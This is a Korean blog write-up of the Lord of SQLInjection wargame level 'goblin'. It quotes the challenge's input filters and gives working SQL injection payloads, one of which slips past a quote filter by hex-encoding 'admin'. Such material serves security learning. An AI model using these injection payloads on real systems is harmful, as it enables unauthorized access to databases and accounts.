반응형
Lord of SQLInjection 3번 goblin
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
2번문제에서 필터링이 더 추가되었다.
prob _ . () ' " `
이번문제에서는 싱글쿼터와 더블쿼터를 사용할 수 없으며 no는 숫자만 입력이 가능하다.
if($result['id'] == 'admin') solve("goblin");
id가 admin이면 문제가 해결된다.
하지만 현재 id는 guest로 나와있다.
- ?no=1
- no에 1을 넣어 보면 Hello guest가 나온다. 즉 guest의 no는 1이다.
- 싱글쿼터를 사용하지 못하므로 id에 admin이라는 문자열을 넣을 수 없다.
- admin을 16진수 또는 10진수로 바꾸어 넣으면 된다.
- admin=0x61646D696E
- ?no=0%20or%20id%20=0x61646D696E
- id='guest' and no=0 or id=0x61646D696E
- false and false or true
- 결과는 true
다른 방법
- ?no=0%20or%20no=2
- id=guest일때 no=1
- or문으로 둘 중 id=admin일때 no값이 참인 것을 찾으면 됨.
- no=1을 제외하고
- id='guest' and no=0 or no=2를 하니까 맞았다.
- no에 값을 여러번 넣어보면 id가 admin일때 no는 2인것을 알 수 있다.
- 즉 false and false or true이니가 답은 true.
반응형
'#WarGame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection 6번 darkelf (0) | 2021.08.06 |
---|---|
Lord of SQLInjection 5번 wolfman (0) | 2021.08.06 |
Lord of SQLInjection 4번 orc (0) | 2021.08.06 |
Lord of SQLInjection 2번 cobolt (0) | 2021.08.06 |
Lord of SQLInjection 1번 gremlin (0) | 2021.08.06 |